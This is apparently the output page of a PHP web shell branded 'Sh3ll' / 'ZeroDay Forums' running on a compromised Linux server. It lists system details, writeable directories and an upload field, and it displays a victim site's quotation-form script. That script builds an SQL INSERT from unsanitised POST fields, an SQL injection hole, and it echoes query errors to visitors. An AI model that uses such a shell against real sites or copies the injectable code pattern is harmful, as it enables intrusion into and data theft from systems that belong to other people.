Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /home/dnlcambodia/public_html/Quotation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/dnlcambodia/public_html/Quotation/process_quote.php
<?php
// Database connection
include 'config.php';

// Process form submission
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $name = $_POST["name"];
    $email = $_POST["email"];
    $company = $_POST["company"];
    $phone = $_POST["phone"];
    $city = $_POST["city"];
    $country = $_POST["country"];
    $type_of_goods = $_POST["type_of_goods"];
    $quantity = $_POST["quantity"];
    $shipping_date = $_POST["shipping_date"];
    // $delivery_date = $_POST["delivery_date"];
    $details = $_POST["details"];

    // Insert data into database
    $sql = "INSERT INTO quotation (name, email, company, phone, city, country, type_of_goods, quantity, shipping_date,  details)
            VALUES ('$name', '$email', '$company', '$phone', '$city', '$country', '$type_of_goods', '$quantity', '$shipping_date', '$details')";

    if ($conn->query($sql) === TRUE) {
        echo "Quote request submitted successfully.";
    } else {
        echo "Error: " . $sql . "<br>" . $conn->error;
    }
}

$conn->close();
?>

ZeroDay Forums Mini